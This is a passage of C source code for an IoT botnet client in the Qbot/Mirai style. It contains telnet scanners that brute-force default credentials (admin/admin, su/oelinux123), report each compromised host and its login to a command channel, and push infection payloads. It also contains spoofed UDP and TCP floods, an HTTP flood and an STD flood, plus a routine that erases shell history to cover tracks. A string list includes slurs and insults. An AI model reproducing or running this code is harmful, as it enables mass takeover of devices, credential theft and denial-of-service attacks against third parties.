  4126. fds[i].complete = 1;
  4127. }
  4128. }
  4129. break;
  4130. case 2: {
  4131. if(read_until_response(fds[i].fd, 10000, fds[i].sockbuf, 253, phone)) {
  4132. if(contains_fail(fds[i].sockbuf)) {
  4133. fds[i].state = 0;
  4134. } else {
  4135. fds[i].state = 3; }
  4136. continue; }
  4137. if(fds[i].tTimeout + 6 < time(NULL)) {
  4138. fds[i].state = 0;
  4139. fds[i].complete = 1;
  4140. }
  4141. }
  4142. break;
  4143. case 3: {
  4144. if(send(fds[i].fd, "admin\r\n", 7, MSG_NOSIGNAL) < 0) {
  4145. fds[i].state = 0;
  4146. fds[i].complete = 1;
  4147. continue; }
  4148. fds[i].state = 4;
  4149. }
  4150. break;
  4151. case 4: {
  4152. if(read_until_response(fds[i].fd, 10000, fds[i].sockbuf, 253, phone)) {
  4153. if(contains_fail(fds[i].sockbuf)) {
  4154. fds[i].state = 0;
  4155. } else {
  4156. fds[i].state = 5; }
  4157. continue; }
  4158. if(fds[i].tTimeout + 6 < time(NULL)) {
  4159. fds[i].state = 0;
  4160. fds[i].complete = 1;
  4161. }
  4162. }
  4163. break;
  4164. case 5: {
  4165. if(send(fds[i].fd, "admin\r\n", 7, MSG_NOSIGNAL) < 0) {
  4166. fds[i].state = 0;
  4167. fds[i].complete = 1;
  4168. continue; }
  4169. fds[i].state = 6; }
  4170. break;
  4171. case 6: {
  4172. if (read_until_response(fds[i].fd, 10000, fds[i].sockbuf, 253, advances2)) {
  4173. fds[i].tTimeout = time(NULL);
  4174. if (contains_fail(fds[i].sockbuf)) {
  4175. fds[i].state = 0;
  4176. } else {
  4177. sockprintf(mainCommSock, "\e[96m[PHONE] \e[97mFound And Infected A Phone \e[96m[%s]", get_telstate_host(&fds[i]), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  4178. sockprintf(mainCommSock, "DICK %s:%s:%s", get_telstate_host(&fds[i]), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  4179. fds[i].state = 7;
  4180. } continue; }
  4181. if (fds[i].tTimeout + 7 < time(NULL)) {
  4182. fds[i].state = 0;
  4183. fds[i].complete = 1;
  4184. }
  4185. }
  4186. break;
  4187. case 7: {
  4188. RemoveTempDirs();
  4189. //sockprintf(mainCommSock, "[ PHONE ] Removing Temp Directorys. || IP: %s || Port: 23 || Username: admin || Password: admin", get_telstate_host(&fds[i]), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  4190. if(send(fds[i].fd, "su\r\n", 4, MSG_NOSIGNAL) < 0) {
  4191. fds[i].state = 0;
  4192. fds[i].complete = 1;
  4193. continue; }
  4194. fds[i].state = 8;
  4195. }
  4196. break;
  4197. case 8: {
  4198. if(read_until_response(fds[i].fd, 10000, fds[i].sockbuf, 253, phone)) {
  4199. if(contains_fail(fds[i].sockbuf)) {
  4200. fds[i].state = 0;
  4201. } else {
  4202. fds[i].state = 9; }
  4203. continue; }
  4204. if(fds[i].tTimeout + 6 < time(NULL)) {
  4205. fds[i].state = 0;
  4206. fds[i].complete = 1;
  4207. }
  4208. }
  4209. break;
  4210. case 9: {
  4211. if(send(fds[i].fd, "oelinux123\r\n", 12, MSG_NOSIGNAL) < 0) {
  4212. fds[i].state = 0;
  4213. fds[i].complete = 1;
  4214. continue; }
  4215. fds[i].state = 10;
  4216. }
  4217. break;
  4218. case 10: {
  4219. fds[i].tTimeout = time(NULL);
  4220. if(send(fds[i].fd, phonepayload, strlen(phonepayload), MSG_NOSIGNAL) < 0) {
  4221. sclose(fds[i].fd);
  4222. fds[i].state = 0;
  4223. fds[i].complete = 1;
  4224. continue; }
  4225. fds[i].complete = 3;
  4226. if(fds[i].tTimeout + 60 < time(NULL)) {
  4227. if(fds[i].complete !=3){
  4228. }
  4229. fds[i].state = 0;
  4230. fds[i].complete = 1;
  4231. }
  4232. break;
  4233. }
  4234. }
  4235. }
  4236. }
  4237. }
  4238. void HackaShit() {
  4239. char buf[128];
  4240.      int max = 256, i, res, valopt;
  4241.     fd_set fdset;
  4242.     struct timeval tv;
  4243.     socklen_t lon;
  4244.     srand(time(NULL) ^ rand_cmwc());
  4245.     struct sockaddr_in dest_addr;
  4246.     dest_addr.sin_family = AF_INET;
  4247.     dest_addr.sin_port = htons(23);
  4248.     memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  4249.     struct telstate_t fds[max];
  4250. memset(fds, 0, max * (sizeof(int) + 1));
  4251. for(i = 0; i < max; i++) {
  4252. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  4253. fds[i].complete = 1;
  4254. fds[i].sockbuf = malloc(256 + 1); }
  4255. while(1) {
  4256. for(i = 0; i < max; i++) {
  4257. if(fds[i].tTimeout == 0) {
  4258. fds[i].tTimeout = time(NULL); }
  4259. switch(fds[i].state) {
  4260. case 0: {
  4261. if(fds[i].complete) {
  4262. char *tmp = fds[i].sockbuf;
  4263. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  4264. fds[i].sockbuf = tmp;
  4265. fds[i].ip = HackerScan1(); }
  4266. else  {
  4267. fds[i].passwordInd++;
  4268. fds[i].usernameInd++;
  4269. if(fds[i].passwordInd == sizeof(Telnet_Passwords) / sizeof(char *)) {
  4270. fds[i].complete = 1;
  4271. continue; }
  4272. if(fds[i].usernameInd == sizeof(Telnet_Usernames) / sizeof(char *)) {
  4273. fds[i].complete = 1;
  4274. continue;
  4275. }
  4276. }
  4277. dest_addr.sin_family = AF_INET;
  4278. dest_addr.sin_port = htons(23);
  4279. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  4280. dest_addr.sin_addr.s_addr = fds[i].ip;
  4281. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  4282. if(fds[i].fd == -1) continue;
  4283. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  4284. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) {
  4285. sclose(fds[i].fd);
  4286. fds[i].complete = 1; }
  4287. else {
  4288. fds[i].state = 1;
  4289. fds[i].tTimeout = 0;
  4290. }
  4291. }
  4292. break;
  4293. case 1: {
  4294. FD_ZERO(&fdset);
  4295. FD_SET(fds[i].fd, &fdset);
  4296. tv.tv_sec = 0;
  4297. tv.tv_usec = 10000;
  4298. res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);
  4299. if(res == 1) {
  4300. lon = sizeof(int);
  4301. valopt = 0;
  4302. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  4303. if(valopt) {
  4304. sclose(fds[i].fd);
  4305. fds[i].state = 0;
  4306. fds[i].complete = 1;
  4307. } else {
  4308. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  4309. fds[i].tTimeout = 0;
  4310. fds[i].bufUsed = 0;
  4311. memset(fds[i].sockbuf, 0, 256);
  4312. fds[i].state = 2;
  4313. } continue; }
  4314. else if(res == -1) {
  4315. sclose(fds[i].fd);
  4316. fds[i].state = 0;
  4317. fds[i].complete = 1;
  4318. continue; }
  4319. if(fds[i].tTimeout + 6 < time(NULL)) {
  4320. sclose(fds[i].fd);
  4321. fds[i].state = 0;
  4322. fds[i].complete = 1;
  4323. }
  4324. }
  4325. break;
  4326. case 2: {
  4327. if(read_until_response(fds[i].fd, 10000, fds[i].sockbuf, 256, advances)) {
  4328. if(contains_fail(fds[i].sockbuf)) {
  4329. fds[i].state = 0;
  4330. } else {
  4331. fds[i].state = 3; }
  4332. continue; }
  4333. if(fds[i].tTimeout + 6 < time(NULL)) {
  4334. fds[i].state = 0;
  4335. fds[i].complete = 1;
  4336. }
  4337. }
  4338. break;
  4339. case 3: {
  4340. if(send(fds[i].fd, Telnet_Usernames[fds[i].usernameInd], strlen(Telnet_Usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) {
  4341. fds[i].state = 0;
  4342. fds[i].complete = 1;
  4343. continue; }
  4344. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {
  4345. fds[i].state = 0;
  4346. fds[i].complete = 1;
  4347. continue; }
  4348. fds[i].state = 4; }
  4349. break;
  4350. case 4: {
  4351. if(read_until_response(fds[i].fd, 10000, fds[i].sockbuf, 256, advances))
  4352. {
  4353. if(contains_fail(fds[i].sockbuf)) {
  4354. fds[i].state = 0;
  4355. } else {
  4356. fds[i].state = 5; }
  4357. continue; }
  4358. if(fds[i].tTimeout + 6 < time(NULL)) {
  4359. fds[i].state = 0;
  4360. fds[i].complete = 1;
  4361. }
  4362. }
  4363. break;
  4364. case 5: {
  4365. if(send(fds[i].fd, Telnet_Passwords[fds[i].passwordInd], strlen(Telnet_Passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) {
  4366. fds[i].state = 0;
  4367. fds[i].complete = 1;
  4368. continue; }
  4369. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {
  4370. fds[i].state = 0;
  4371. fds[i].complete = 1;
  4372. continue; }
  4373. fds[i].state = 6;
  4374. }
  4375. break;
  4376. case 6: {
  4377. if (read_until_response(fds[i].fd, 10000, fds[i].sockbuf, 256, advances2)) {
  4378. fds[i].tTimeout = time(NULL);
  4379. if (contains_fail(fds[i].sockbuf)) {
  4380. fds[i].state = 0;
  4381. } else {
  4382. sockprintf(mainCommSock, "\e[96m[TELNET] \e[97mFound And Infected A Telnet \e[96m[%s]", get_telstate_host(&fds[i]), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  4383. sockprintf(mainCommSock, "DICK %s:%s:%s", get_telstate_host(&fds[i]), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  4384. fds[i].state = 7;
  4385. } continue; }
  4386. if (fds[i].tTimeout + 6 < time(NULL)) {
  4387. fds[i].state = 0;
  4388. fds[i].complete = 1;
  4389. }
  4390. }
  4391. break;
  4392. case 7: {
  4393. if(send(fds[i].fd, Busybox_Payload, strlen(Busybox_Payload), MSG_NOSIGNAL) < 0) {
  4394. fds[i].state = 0;
  4395. fds[i].complete = 1;
  4396. continue; }
  4397. fds[i].state = 8;
  4398. }
  4399. break;
  4400. case 8: {
  4401. fds[i].tTimeout = time(NULL);
  4402. //sockprintf(mainCommSock, "[ TELNET ] Removing Temp Directorys. || IP: %s || Port: 23 || Username: %s || Password: %s", get_telstate_host(&fds[i]), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  4403. //sockprintf(mainCommSock, "[ TELNET ] Bot Killing. || IP: %s || Port: 23 || Username: %s || Password: %s", get_telstate_host(&fds[i]), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  4404. if(send(fds[i].fd, Busybox_Payload, strlen(Busybox_Payload), MSG_NOSIGNAL) < 0) {
  4405. sclose(fds[i].fd);
  4406. fds[i].state = 0;
  4407. fds[i].complete = 1;
  4408. continue; }
  4409. fds[i].complete = 3;
  4410. if(fds[i].tTimeout + 60 < time(NULL)) {
  4411. if(fds[i].complete !=3){
  4412. }
  4413. fds[i].state = 0;
  4414. fds[i].complete = 1;
  4415. }
  4416. break;
  4417. }
  4418. }
  4419. }
  4420. }
  4421. }
  4422. void MiraiHackaShit() {
  4423. char buf[128];
  4424. int max = 256, i, res, valopt;
  4425. fd_set fdset;
  4426. struct timeval tv;
  4427. socklen_t lon;
  4428. srand(time(NULL) ^ rand_cmwc());
  4429. struct sockaddr_in dest_addr;
  4430. dest_addr.sin_family = AF_INET;
  4431. dest_addr.sin_port = htons(23);
  4432. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  4433. struct telstate_t fds[max];
  4434. memset(fds, 0, max * (sizeof(int) + 1));
  4435. for(i = 0; i < max; i++) {
  4436. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  4437. fds[i].complete = 1;
  4438. fds[i].sockbuf = malloc(256 + 1); }
  4439. while(1) {
  4440. for(i = 0; i < max; i++) {
  4441. if(fds[i].tTimeout == 0) {
  4442. fds[i].tTimeout = time(NULL); }
  4443. switch(fds[i].state) {
  4444. case 0: {
  4445. if(fds[i].complete) {
  4446. char *tmp = fds[i].sockbuf;
  4447. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  4448. fds[i].sockbuf = tmp;
  4449. fds[i].ip = HackerScan1(); }
  4450. else  {
  4451. fds[i].passwordInd++;
  4452. fds[i].usernameInd++;
  4453. if(fds[i].passwordInd == sizeof(Telnet_Passwords) / sizeof(char *)) {
  4454. fds[i].complete = 1;
  4455. continue; }
  4456. if(fds[i].usernameInd == sizeof(Telnet_Usernames) / sizeof(char *)) {
  4457. fds[i].complete = 1;
  4458. continue;
  4459. }
  4460. }
  4461. dest_addr.sin_family = AF_INET;
  4462. dest_addr.sin_port = htons(23);
  4463. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  4464. dest_addr.sin_addr.s_addr = fds[i].ip;
  4465. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  4466. if(fds[i].fd == -1) continue;
  4467. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  4468. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) {
  4469. sclose(fds[i].fd);
  4470. fds[i].complete = 1; }
  4471. else {
  4472. fds[i].state = 1;
  4473. fds[i].tTimeout = 0;
  4474. }
  4475. }
  4476. break;
  4477. case 1: {
  4478. FD_ZERO(&fdset);
  4479. FD_SET(fds[i].fd, &fdset);
  4480. tv.tv_sec = 0;
  4481. tv.tv_usec = 10000;
  4482. res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);
  4483. if(res == 1) {
  4484. lon = sizeof(int);
  4485. valopt = 0;
  4486. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  4487. if(valopt) {
  4488. sclose(fds[i].fd);
  4489. fds[i].state = 0;
  4490. fds[i].complete = 1;
  4491. } else {
  4492. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  4493. fds[i].tTimeout = 0;
  4494. fds[i].bufUsed = 0;
  4495. memset(fds[i].sockbuf, 0, 256);
  4496. fds[i].state = 2;
  4497. } continue; }
  4498. else if(res == -1) {
  4499. sclose(fds[i].fd);
  4500. fds[i].state = 0;
  4501. fds[i].complete = 1;
  4502. continue; }
  4503. if(fds[i].tTimeout + 6 < time(NULL)) {
  4504. sclose(fds[i].fd);
  4505. fds[i].state = 0;
  4506. fds[i].complete = 1;
  4507. }
  4508. }
  4509. break;
  4510. case 2: {
  4511. if(read_until_response(fds[i].fd, 10000, fds[i].sockbuf, 256, advances)) {
  4512. if(contains_fail(fds[i].sockbuf)) {
  4513. fds[i].state = 0;
  4514. } else {
  4515. fds[i].state = 3; }
  4516. continue; }
  4517. if(fds[i].tTimeout + 6 < time(NULL)) {
  4518. fds[i].state = 0;
  4519. fds[i].complete = 1;
  4520. }
  4521. }
  4522. break;
  4523. case 3: {
  4524. if(send(fds[i].fd, Telnet_Usernames[fds[i].usernameInd], strlen(Telnet_Usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) {
  4525. fds[i].state = 0;
  4526. fds[i].complete = 1;
  4527. continue; }
  4528. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {
  4529. fds[i].state = 0;
  4530. fds[i].complete = 1;
  4531. continue; }
  4532. fds[i].state = 4; }
  4533. break;
  4534. case 4: {
  4535. if(read_until_response(fds[i].fd, 10000, fds[i].sockbuf, 256, advances))
  4536. {
  4537. if(contains_fail(fds[i].sockbuf)) {
  4538. fds[i].state = 0;
  4539. } else {
  4540. fds[i].state = 5; }
  4541. continue; }
  4542. if(fds[i].tTimeout + 6 < time(NULL)) {
  4543. fds[i].state = 0;
  4544. fds[i].complete = 1;
  4545. }
  4546. }
  4547. break;
  4548. case 5: {
  4549. if(send(fds[i].fd, Telnet_Passwords[fds[i].passwordInd], strlen(Telnet_Passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) {
  4550. fds[i].state = 0;
  4551. fds[i].complete = 1;
  4552. continue; }
  4553. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {
  4554. fds[i].state = 0;
  4555. fds[i].complete = 1;
  4556. continue; }
  4557. fds[i].state = 6;
  4558. }
  4559. break;
  4560. case 6: {
  4561. if (read_until_response(fds[i].fd, 10000, fds[i].sockbuf, 256, advances2)) {
  4562. fds[i].tTimeout = time(NULL);
  4563. if (contains_fail(fds[i].sockbuf)) {
  4564. fds[i].state = 0;
  4565. } else {
  4566. sockprintf(mainCommSock, "\e[96m[TELNET] \e[97mFound And Infected A Telnet \e[96m[%s]", get_telstate_host(&fds[i]), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  4567. sockprintf(mainCommSock, "DICK %s:%s:%s", get_telstate_host(&fds[i]), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  4568. fds[i].state = 7;
  4569. } continue; }
  4570. if (fds[i].tTimeout + 6 < time(NULL)) {
  4571. fds[i].state = 0;
  4572. fds[i].complete = 1;
  4573. }
  4574. }
  4575. break;
  4576. case 7: {
  4577. if(send(fds[i].fd, Busybox_Payload, strlen(Busybox_Payload), MSG_NOSIGNAL) < 0) {
  4578. fds[i].state = 0;
  4579. fds[i].complete = 1;
  4580. continue; }
  4581. fds[i].state = 8;
  4582. }
  4583. break;
  4584. case 8: {
  4585. fds[i].tTimeout = time(NULL);
  4586. //sockprintf(mainCommSock, "[ MIRAI ] Removing Temp Directorys. || IP: %s || Port: 23 || Username: %s || Password: %s", get_telstate_host(&fds[i]), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  4587. //sockprintf(mainCommSock, "[ MIRAI ] Bot Killing. || IP: %s || Port: 23 || Username: %s || Password: %s", get_telstate_host(&fds[i]), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  4588. if(send(fds[i].fd, Busybox_Payload, strlen(Busybox_Payload), MSG_NOSIGNAL) < 0) {
  4589. sclose(fds[i].fd);
  4590. fds[i].state = 0;
  4591. fds[i].complete = 1;
  4592. continue; }
  4593. fds[i].complete = 3;
  4594. if(fds[i].tTimeout + 60 < time(NULL)) {
  4595. if(fds[i].complete !=3){
  4596. }
  4597. fds[i].state = 0;
  4598. fds[i].complete = 1;
  4599. }
  4600. break;
  4601. }
  4602. }
  4603. }
  4604. }
  4605. }
  4606.  
  4607. void sendSTD(unsigned char *ip, int port, int secs) {
  4608. int iSTD_Sock;
  4609. iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);
  4610. time_t start = time(NULL);
  4611. struct sockaddr_in sin;
  4612. struct hostent *hp;
  4613. hp = gethostbyname(ip);
  4614. bzero((char*) &sin,sizeof(sin));
  4615. bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  4616. sin.sin_family = hp->h_addrtype;
  4617. sin.sin_port = port;
  4618. unsigned int a = 0;
  4619. while(1){
  4620. char *randstrings[] = {"VSzNC0CJti3ouku", "yhJyMAqx7DZa0kg", "1Cp9MEDMN6B5L1K", "miraiMIRAI", "stdflood4", "7XLPHoxkvL", "jmQvYBdRZA", "eNxERkyrfR", "qHjTXcMbzH", "chickennuggets", "ilovecocaine", "666666", "88888888", "0nnf0l20im", "uq7ajzgm0a", "loic", "ParasJhaIsADumbFag", "stdudpbasedflood", "bitcoin1", "password", "encrypted", "suckmydick", "guardiacivil", "2xoJTsbXunuj", "QiMH8CGJyOj9", "abcd1234", "GLEQWXHAJPWM", "ABCDEFGHI", "abcdefghi", "qbotbotnet", "lizardsquad", "aNrjBnTRi", "1QD8ypG86", "IVkLWYjLe", "nexuszetaisacrackaddict", "satoriskidsnet"};
  4621. char *STD2_STRING = randstrings[rand() % (sizeof(randstrings) / sizeof(char *))];
  4622. if (a >= 50)
  4623. {
  4624. send(iSTD_Sock, STD2_STRING, STD_PIGZ, 0);
  4625. connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));
  4626. if (time(NULL) >= start + secs)
  4627. {
  4628. close(iSTD_Sock);
  4629. _exit(0);
  4630. }
  4631. a = 0;
  4632. }
  4633. a++;
  4634. }
  4635. }
  4636. void SendUDP(unsigned char *target, int port, int timeEnd, int packetsize, int pollinterval, int spoofit) {
  4637.         struct sockaddr_in dest_addr;
  4638.         dest_addr.sin_family = AF_INET;
  4639.         if(port == 0) dest_addr.sin_port = rand_cmwc();
  4640.         else dest_addr.sin_port = htons(port);
  4641.         if(getHost(target, &dest_addr.sin_addr)) return;
  4642.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  4643.         register unsigned int pollRegister;
  4644.         pollRegister = pollinterval;   
  4645.                 int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  4646.                 if(!sockfd) {
  4647.                         return;
  4648.                 }
  4649.                 int tmp = 1;
  4650.                 if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0) {
  4651.                         return;
  4652.                 }
  4653.                 int counter = 50;
  4654.                 while(counter--) {
  4655.                         srand(time(NULL) ^ rand_cmwc());
  4656.                         init_rand(rand());
  4657.                 }
  4658.                 in_addr_t netmask;
  4659.                 netmask = ( ~((1 << (32 - spoofit)) - 1) );
  4660.                 unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
  4661.                 struct iphdr *iph = (struct iphdr *)packet;
  4662.                 struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  4663.                 makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
  4664.                 udph->len = htons(sizeof(struct udphdr) + packetsize);
  4665.                 udph->source = rand_cmwc();
  4666.                 udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  4667.                 udph->check = 0;
  4668.                 makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
  4669.                 iph->check = csum ((unsigned short *) packet, iph->tot_len);
  4670.                 int end = time(NULL) + timeEnd;
  4671.                 register unsigned int i = 0;
  4672.                 while(1) {
  4673.                         sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  4674.                         udph->source = rand_cmwc();
  4675.                         udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  4676.                         iph->id = rand_cmwc();
  4677.                         iph->saddr = htonl( getRandomIP(netmask) );
  4678.                         iph->check = csum ((unsigned short *) packet, iph->tot_len);
  4679.                         if(i == pollRegister) {
  4680.                                 if(time(NULL) > end) break;
  4681.                                 i = 0;
  4682.                                 continue;
  4683.                         }
  4684.                         i++;
  4685.                 }
  4686.         }
  4687. void SendTCP(unsigned char *target, int port, int timeEnd, unsigned char *flags, int packetsize, int pollinterval, int spoofit) {
  4688.         register unsigned int pollRegister;
  4689.         pollRegister = pollinterval;
  4690.         struct sockaddr_in dest_addr;
  4691.         dest_addr.sin_family = AF_INET;
  4692.         if(port == 0) dest_addr.sin_port = rand_cmwc();
  4693.         else dest_addr.sin_port = htons(port);
  4694.         if(getHost(target, &dest_addr.sin_addr)) return;
  4695.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  4696.         int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  4697.         if(!sockfd) { return; }
  4698.         int tmp = 1;
  4699.         if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0) { return; }
  4700.         in_addr_t netmask;
  4701.         if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  4702.         else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  4703.         unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
  4704.         struct iphdr *iph = (struct iphdr *)packet;
  4705.         struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  4706.         makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
  4707.         tcph->source = rand_cmwc();
  4708.         tcph->seq = rand_cmwc();
  4709.         tcph->ack_seq = 0;
  4710.         tcph->doff = 5;
  4711.         if(!strcmp(flags, "all")) {
  4712.                 tcph->syn = 1;
  4713.                 tcph->rst = 1;
  4714.                 tcph->fin = 1;
  4715.                 tcph->ack = 1;
  4716.                 tcph->psh = 1;
  4717.         } else {
  4718.                 unsigned char *pch = strtok(flags, ",");
  4719.                 while(pch) {
  4720.                         if(!strcmp(pch,         "syn")) { tcph->syn = 1;
  4721.                         } else if(!strcmp(pch,  "rst")) { tcph->rst = 1;
  4722.                         } else if(!strcmp(pch,  "fin")) { tcph->fin = 1;
  4723.                         } else if(!strcmp(pch,  "ack")) { tcph->ack = 1;
  4724.                         } else if(!strcmp(pch,  "psh")) { tcph->psh = 1;
  4725.                         } else {
  4726.                         }
  4727.                         pch = strtok(NULL, ",");
  4728.                 }
  4729.         }
  4730.         tcph->window = rand_cmwc();
  4731.         tcph->check = 0;
  4732.         tcph->urg_ptr = 0;
  4733.         tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
  4734.         tcph->check = tcpcsum(iph, tcph);
  4735.         iph->check = csum ((unsigned short *) packet, iph->tot_len);
  4736.         int end = time(NULL) + timeEnd;
  4737.         register unsigned int i = 0;
  4738.         while(1) {
  4739.                 sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  4740.                 iph->saddr = htonl( getRandomIP(netmask) );
  4741.                 iph->id = rand_cmwc();
  4742.                 tcph->seq = rand_cmwc();
  4743.                 tcph->source = rand_cmwc();
  4744.                 tcph->check = 0;
  4745.                 tcph->check = tcpcsum(iph, tcph);
  4746.                 iph->check = csum ((unsigned short *) packet, iph->tot_len);
  4747.                 if(i == pollRegister) {
  4748.                         if(time(NULL) > end) break;
  4749.                         i = 0;
  4750.                         continue;
  4751.                 }
  4752.                 i++;
  4753.         }
  4754. }
  4755. int socket_connect(char *host, in_port_t port) {
  4756.     struct hostent *hp;
  4757.     struct sockaddr_in addr;
  4758.     int on = 1, sock;    
  4759.     if ((hp = gethostbyname(host)) == NULL) return 0;
  4760.     bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);
  4761.     addr.sin_port = htons(port);
  4762.     addr.sin_family = AF_INET;
  4763.     sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  4764.     setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));
  4765.     if (sock == -1) return 0;
  4766.     if (connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1) return 0;
  4767.     return sock;
  4768. }
  4769. void SendHTTP(char *method, char *host, in_port_t port, char *path, int timeEnd, int power) {
  4770.     int socket, i, end = time(NULL) + timeEnd, sendIP = 0;
  4771.     char request[512], buffer[1];
  4772.     for (i = 0; i < power; i++) {
  4773.         sprintf(request, "%s %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n", method, path, host, useragents[(rand() % 36)]);
  4774.         if (fork()) {
  4775.             while (end > time(NULL)) {
  4776.                 socket = socket_connect(host, port);
  4777.                 if (socket != 0) {
  4778.                     write(socket, request, strlen(request));
  4779.                     read(socket, buffer, 1);
  4780.                     close(socket);
  4781.                 }
  4782.             }
  4783.             exit(0);
  4784.         }
  4785.     }
  4786. }
  4787.  
  4788. void ClearHistory()
  4789. {
  4790.     system("history -c;history -w");
  4791.     system("cd /;rm -rf ~/.bash_history");
  4792. }
  4793.  
  4794. void RandomPythonRange()
  4795. {
  4796.     //GET TO THIS SHIT LATER.
  4797. }
  4798.  
  4799. void processCmd(int argc, unsigned char *argv[]) {
  4800.         if(!strcmp(argv[0], "TRANGE")) {
  4801.             if(argc < 2 || atoi(argv[1]) == -1){
  4802.             sockprintf(mainCommSock, "RANGE <option 0-idk>");
  4803.             }else{
  4804.             sockprintf(mainCommSock, "Telnet Range %d->%d", telnetrange, atoi(argv[1]));
  4805.             telnetrange = atoi(argv[1]);
  4806.             }
  4807.             return;
  4808.             }
  4809.         if(!strcmp(argv[0], "TELNET"))
  4810.         {
  4811.             if(!strcmp(argv[1], "ON"))
  4812.             {
  4813.                 uint32_t parent;
  4814.                 parent = fork();        
  4815.                 int ii = 0;
  4816.                 int forks = sysconf( _SC_NPROCESSORS_ONLN );
  4817.                 int fds = 999999;
  4818.                 if(forks == 1) fds = 500;
  4819.                 if(forks >= 2) fds = 1000;
  4820.                 if (parent > 0)
  4821.                 {
  4822.                     scanPid = parent;
  4823.                     return;
  4824.                 }
  4825.                 else if(parent == -1) return;
  4826.                 for (ii = 0; ii < forks; ii++)
  4827.                 {
  4828.                     srand((time(NULL) ^ getpid()) + getppid());
  4829.                     init_rand(time(NULL) ^ getpid());
  4830.                     TelnetScanner(100, fds);
  4831.                     _exit(0);
  4832.                 }
  4833.             }
  4834.             if(!strcmp(argv[1], "OFF"))
  4835.             {
  4836.                 if(scanPid == 0) return;
  4837.                 kill(scanPid, 9);
  4838.                 scanPid = 0;
  4839.             }
  4840.        
  4841.  
  4842.             if(!strcmp(argv[1], "SCANNER"))
  4843.             {
  4844.                 int threads = atoi(argv[1]);
